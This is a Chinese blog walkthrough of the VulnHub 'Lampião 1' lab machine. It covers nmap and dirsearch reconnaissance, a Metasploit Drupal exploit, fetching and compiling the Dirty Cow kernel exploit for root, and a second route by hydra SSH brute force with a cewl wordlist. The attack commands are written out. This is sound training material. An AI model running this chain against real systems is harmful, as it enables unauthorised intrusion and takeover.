VulnHub-Lampião: 1 靶场渗透测试
2021-01-12 19:52:44 Author: www.freebuf.com(查看原文) 阅读量:95 收藏

作者:ch4nge
时间:2021.1.12

靶场信息:
地址:https://www.vulnhub.com/entry/lampiao-1,249/
发布日期:2018年7月28日
目标:得到root权限并且找到flag.txt
难度:简单
运行:VirtualBox(网络桥接)
描述: Would you like to keep hacking in your own lab?Try this brand new vulnerable machine! "Lampião 1".Get root!

前言

本次靶场使用VirtualBox进行搭建运行,通过kali系统进行渗透测试,步骤按照渗透测试的过程进行。这里有一些步骤没有进行解析说明,因为这些步骤在第一篇的VulnHub-GoldenEye-1靶场练习已经说明过了,可以过去查阅一下。有不对的地方欢迎各位师傅指正

一、信息搜集

1. 获取靶机ip

使用nmap获取目标ip地址为192.168.31.30

nmap -sP 192.168.31.0/24 | grep -B 2 -A 0 "VirtualBox"

在这里直接使用grep过滤出来

1610443805_5ffd6c1dbd18c3f147564.png!small?1610443805576

2. 扫描开启的端口和服务

⚡ root@ch4nge  ~/桌面  nmap -sS -sV -T5 -A -p- 192.168.31.30                 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-11 21:34 CST
Nmap scan report for 192.168.31.30
Host is up (0.00089s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp   open  http?
| fingerprint-strings: 
|   NULL: 
|     _____ _ _ 
|     |_|/ ___ ___ __ _ ___ _ _ 
|     \x20| __/ (_| __ \x20|_| |_ 
|     ___/ __| |___/ ___|__,_|___/__, ( ) 
|     |___/ 
|     ______ _ _ _ 
|     ___(_) | | | |
|     \x20/ _` | / _ / _` | | | |/ _` | |
|_    __,_|__,_|_| |_|
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampi\xC3\xA3o
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=1/11%Time=5FFC53F5%P=x86_64-pc-linux-gnu%r(NULL
SF:,1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\|_\x20\x20\x20_\|\x20\|\x20\(\x
SF:20\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n\x20\x20\|\x20\|\x20\|\x20\|_\|/\x20___\x20\x20\x20\x20___\x20\x20
SF:__\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\x20\x20\|\x20\|\x20\|\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20_`\
SF:x20/\x20__\|\x20\|\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20_\
SF:|\x20\|_\|\x20\|_\x20\x20\\__\x20\\\x20\|\x20\x20__/\x20\(_\|\x20\\__\x
SF:20\\\x20\|_\|\x20\|_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\__\|
SF:\x20\|___/\x20\x20\\___\|\\__,_\|___/\\__,\x20\(\x20\)\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20__/\x20\|/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|___/\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\n______\x20_\x20\x20\x20\x20\x20\x20\x20_\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20_\x20\n\|\x20\x20___\(_\)\x20\x20\x
SF:20\x20\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\|\n\
SF:|\x20\|_\x20\x20\x20_\x20\x20\x20\x20__\|\x20\|_\x20\x20\x20_\x20_\x20_
SF:_\x20___\x20\x20\x20__\x20_\x20\x20\x20\x20___\x20\x20__\x20_\x20_\x20\
SF:x20\x20_\x20\x20__\x20_\|\x20\|\n\|\x20\x20_\|\x20\|\x20\|\x20\x20/\x20
SF:_`\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x20_`\x20\|\x20\x
SF:20/\x20_\x20\\/\x20_`\x20\|\x20\|\x20\|\x20\|/\x20_`\x20\|\x20\|\n\|\x2
SF:0\|\x20\x20\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|_\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|\x20\x20__/\x20\(_\|\x20\|\x20\|
SF:_\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\\__
SF:,_\|_\|\x20\|_\|");
MAC Address: 08:00:27:F6:B1:F5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.89 ms 192.168.31.30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.70 seconds
```

获得四个端口信息

PORT  STATE SERVICE  VERSION
22/tcp    open ssh   OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp  open http?
1898/tcp open http   Apache httpd 2.4.7 ((Ubuntu))

3. 网站信息搜集

3.1 访问ip没有发现有价值的信息,网页源码也没有东西

1610447635_5ffd7b1328b69f5737511.png!small?1610447634801
3.2 访问1898端口,是一个web网站,开搞

http://192.168.31.30:1898

1610447700_5ffd7b54aa60147080b1f.png!small?1610447700354最下面可以看到 Powered by Drupal ,那就是Drupal的cms啦~
把网站页面能看到的东西都点了看看,注册账号的地方需要邮件,不能用了。先扫描一下目录看看
3.3 dirsearch扫目录

1610447775_5ffd7b9fe88d079385c7f.png!small?1610447775645

看到了/robots.txt,打开看一下,真是惊喜呀!好多东西,i like

1610447807_5ffd7bbfcd0a58607c9ca.png!small?1610447807325

点开几个挨个看吧,找到让我眼前一亮的东西

1610447830_5ffd7bd6039fdc61eea82.png!small?1610447829529

得到cms版本了:Drupal 7.54

二、漏洞探测

1.msf搜索漏洞

1610447875_5ffd7c03afc4c3f813172.png!small?1610447875247

这里使用info id命令进行查看说明,哈哈,有能用的,id=4的时候可用(看的漏洞适用版本)~

1610447923_5ffd7c33deba2b8264648.png!small?1610447923453

三、漏洞利用

1. 使用msf漏洞模块获取shell

只需要设置hosts和port,端口号是1898

1610447960_5ffd7c5863b8c122d48b7.png!small?1610447960249

获得shell,依旧使用tmp路径进行提权,因为权限是777呀!

四、提权

1. 在exploit-db搜索exp

这里遇到了问题,我直接搜索的内核版本exp,试了一遍都不能用@#_#@

1610448009_5ffd7c896c5a6f65d69c9.png!small?1610448009251

网上搜了一下,结果都是这个靶场的wp,好吧。那我就瞟一眼大佬的姿势吧~
使用CVE-2016-5195脏牛(Dirty Cow)内核漏洞进行提权,就是这个40847.cpp文件

1610448033_5ffd7ca1217d04ac4d381.png!small?1610448032687

2. 使用python建立http服务,在shell里面使用wget进行下载exp脚本,编译运行

执行命令的位置与脚本所在位置相同,就是说40847.cpp在~/桌面/40847.cpp

⚡ root@ch4nge  ~/桌面  python3 -m  http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

.cpp格式使用g++编译

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp 40847.cpp -lutil

-Wall  一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2   编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11 就是用按C++2011标准来编译的
-pthread   在Linux中要用到多线程时,需要链接pthread库
-o exp 40847.cpp 生成的目标文件,名字为exp

1610448174_5ffd7d2ee506342aa57d9.png!small?1610448174463

运行一下
得到root用户密码

  • dirtyCowFun

1610448213_5ffd7d55cc506d4f5d3ec.png!small?1610448213263

3. 登录root用户&获得flag

1610448232_5ffd7d68040b6313fabbc.png!small?1610448231531

你以为这就完了?

nonono!看到师傅的做法才发现信息搜集没有做细致,错过了一些信息,现在使用第二种方法来获得shell

得到shell方法2

1. url中的页面数值

1610448272_5ffd7d90d82a0bb689304.png!small?1610448273603

2. 通过修改数字可以获得信息

1610448293_5ffd7da52f0085ec37db9.png!small?1610448292933

1610448302_5ffd7dae443a8fb5dcd8c.png!small?1610448301879

3. 得到3个文件

audio.m4a
qrc.png
LuizGonzaga-LampiaoFalou.mp3

第一个是音乐,有人在说user tiago
ps 我听了几次都是trageo,看来我不适合用这个方法QAQ
第二个是二维码,在线扫一扫得到  Try harder! muahuahua
第三个是音乐,大半夜竟然给我听这个!音乐没发现什么问题

ssh端口开着,那就爆它

4. Hydra爆破ssh密码

使用cewl生成字典,参考命令详解

cewl http://192.168.31.30:1898/ -w dic.txt

hydra爆破ssh

hydra -l tiago -P dic.txt -v -t 10 ssh://192.168.31.30:22

1610448444_5ffd7e3cd32ba4859357d.png!small?1610448444477

5. ssh连接

1610448490_5ffd7e6a4f45c4d9a09a7.png!small?1610448489792

这里不能用su提权,后面就是脏牛提权啦,和前面一样~

总结

这次的靶场简单级别,果然简单一点~
在msf得到shell之后可以用`python -c 'import pty; pty.spawn("/bin/bash")'`获得完整性shell
在信息搜集的时候我做的不够细心,看到cms版本号就上msf开怼了,条条大道通罗马
看到了其他师傅的做法,回头再看看,可以在网站里面找到一个用户名信息的,并且通过爆破得到用户名密码,使用ssh连接,然后再进行提权操作,没有msf来的简单粗暴~嘿嘿嘿
继续努力!


文章来源: https://www.freebuf.com/articles/web/260613.html
如有侵权请联系:admin#unsafe.sh